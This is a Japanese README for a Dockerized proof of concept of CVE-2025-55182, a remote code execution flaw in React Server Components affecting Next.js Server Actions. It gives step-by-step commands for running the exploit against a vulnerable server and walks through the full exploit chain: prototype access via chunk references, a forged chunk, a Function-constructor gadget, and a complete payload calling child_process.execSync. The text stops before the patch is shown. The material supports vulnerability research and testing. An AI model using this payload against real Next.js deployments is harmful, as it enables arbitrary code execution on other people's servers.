このリポジトリには、Server Actions を使用する Next.js アプリケーションに影響を与える、React Server Components (RSC) における重大なリモートコード実行の脆弱性である CVE-2025-55182 の Docker化された概念実証が含まれています。
元の概念実証と脆弱性の分析は msanft によって作成されました。このリポジトリは、テストとデモを容易にするための Docker化されたテスト環境を提供することで、その作業を拡張しています。
requests ライブラリ (pip install requests)脆弱な Next.js サーバーを起動します:
docker compose up --build -d
サーバーの起動を待ちます (docker compose logs -f nextjs-server でログを確認)
エクスプロイトを実行します:
# 自動化スクリプト (推奨)
./exploit-docker.sh
# または手動で
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
エクスプロイトが成功したことを確認します:
docker compose exec nextjs-server ls -la /tmp/rce_test
# ファイルを作成する
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# ファイルに書き込む
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# 現在のユーザーを確認する
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# 結果を検証する
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs ユーザー (UID 1001) として実行されますこのリポジトリには、脆弱性をテストするための完全な Docker セットアップが含まれています:
docker-compose.yml - Docker Compose 設定test-server/ - 脆弱な Next.js アプリケーションtest-server/Dockerfile - 本番用 Dockerfiletest-server/Dockerfile.dev - 開発用 Dockerfile (任意)脆弱なサーバーは、悪用可能な単純な Server Action を備えた Next.js 16.0.6 を実行します。
poc.py - Python の概念実証スクリプト (msanft によるオリジナルに、引用符エスケープの修正を適用)exploit-docker.sh - Docker 環境向けの自動エクスプロイトスクリプトDOCKER_SETUP.md - 包括的な Docker セットアップドキュメント# コンテナを停止する
docker compose down
# すべてを削除する (ボリュームを含む)
docker compose down -v
元の研究による詳細な脆弱性分析、エクスプロイトチェーン、およびパッチ情報は以下に示します。
この脆弱性により、例えば Next.js が安全でないプロトタイプ参照を通じて提供する React Server Functions で RCE が可能になります。
私は React や Next.js の専門家ではないため、ここにあるすべての情報は参考程度に受け取ってください。さらに、私はまだ分析過程にあるため、以下に「脆弱性」として示しているものは、完全なチェーンのごく一部に過ぎない可能性があります。
React は Server Functions[^1] を提供しており、これは一種の HTTP 上の RPC と見なすことができます。これらは、低遅延を確保するために隣接するピアからデータを取得したり、クライアントが資格情報を持たない認証済みリクエストを実行したりするために使用できます。
React は、Server Functions に渡される値のシリアライズに React Flight Protocol[^2] と呼ばれるものを使用します。
クライアントは「チャンク」をサーバーに渡します。例えば、フォームデータを介して:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
示されているように、これらは互いに参照を含むことができます。 上記のペイロードはサーバー上で次のようにデシリアライズされます:
{ object: 'fruit', name: 'cherry' }
このフォーマット自体はもう少し複雑で、より複雑なシリアライズとデシリアライズを可能にしますが、これは実際の脆弱性を理解するための基本的な知識を提供します。
このコミット[^3]まで、参照解決中にチャンクを走査する際、例えば上記の例でチャンク 2 から fruitName を取得するような場合、React は要求されたキーがオブジェクトに実際に設定されているかどうかを検証していませんでした。これにより、オブジェクトのプロトタイプ[^4]を取得することができました。
これは、次のようなペイロードで実証できます:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
これは関数コンストラクタ[^5]にデシリアライズされます:
[Function: Function]
ID 0 のチャンクが配列ではなくオブジェクトの場合、then キーを関数コンストラクタに設定できます。そのオブジェクトは decodeReplyFromBusboy 関数によって返され、Next.js によって await されます:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
これが thenable を返すと、呼び出し側の await がそれを呼び出します。これは、次のペイロードで発生することです:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
次のエラーが発生します:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
V8 が await された関数を内部の resolve 関数と reject 関数とともに呼び出し、それらが toString されたときに次のようにシリアライズされるため、エラーはこのように見えます:
function () { [native code] }
Function コンストラクタを簡単に取得できるため、最も簡単な方法は、ユーザーが制御する値 (つまり、関数のコードを文字列として) でコンストラクタを呼び出し、その後、返された関数を呼び出す呼び出しガジェットを見つけることです。
関数コンストラクタを呼び出す可能性のある場所は複数あります。例えば resolveServerReference では、id が制御されたオブジェクトであり、lastIndexOf をユーザーが制御する文字列を返すように上書きでき (例えば Array.prototype.join を介して)、slice を関数コンストラクタに上書きできます。しかし、この場所は、.slice() の2回目の呼び出しが最初の引数として数値を提供するため、機能しません。私の知る限り、関数コンストラクタは数値を処理できません。
ここで、maple3142[^7] による素晴らしいアイデアが登場します。getChunk が参照チェーンの解決を開始するためのルート参照として ID 0 のチャンクを取得するとき、この同じチャンク が細工された「偽のチャンク」に解決される可能性があります。
$@ 構文を使用して、チャンク 1 で細工されたチャンク 0 を参照できます。これは、解決された値ではなく「生の」チャンクを返します:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
これを上記の then の上書きと組み合わせると、次のようなものを細工できます:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
ここで、チャンク 0 は自身の .then() を、自身の生のチャンク表現の .then() で上書きします。簡単に言うと、Chunk は thenable であるため、存在する Chunk.prototype.then で自身の .then() を上書きします:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
上記のペイロードにより、Chunk.prototype.then は最終的に ID 0 の細工されたチャンクとともに呼び出されます。
上に示したように、偽のチャンクの .status が resolved_model の場合:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk に入ります。ここで、.value は JSON として解析され、ID 0 と 1 のチャンクの「外側の」コンテキストを使用して、返されたオブジェクトに対して参照が解決されます:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
この中で、外側のコンテキストがすでに解決されているためアクセスできる値がいくつか増えた状態で、2回目の評価パスが行われます。
flight プロトコルの blob データの処理に $B プレフィックスを持つ呼び出しガジェットがあります:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
特別な _response フィールドを使用して、細工されたチャンクの response プロパティを制御します:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
これにより、偽の ._formData プロパティと ._prefix プロパティを持つオブジェクトを細工できます:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
initializeModelChunk 内の toString 呼び出しで失敗しないようにするために、.reason を追加する必要があります:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData を関数コンストラクタに、._prefix をコードに向けることで、blob のデシリアライズにおいて関数コンストラクタの呼び出しガジェットを取得します:
response._formData.get(response._prefix + "0")
// 次のようになる
Function("return foo; // 0")
細工された関数は、parseModelString によって細工されたチャンクの .then() メソッドとして返され、これも await されます。なぜなら、これらすべてが単一の promise 解決チェーン内で行われるからです。したがって、thenable を返すと、細工された関数が呼び出されます。これが、前述の必要な呼び出しガジェットを構成します。
これらすべてを実際の RCE ペイロードと組み合わせると、次のようなものが得られます:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
チャンク参照を使用してプロトタイププロパティを取得することは、次のチェックで修正されています: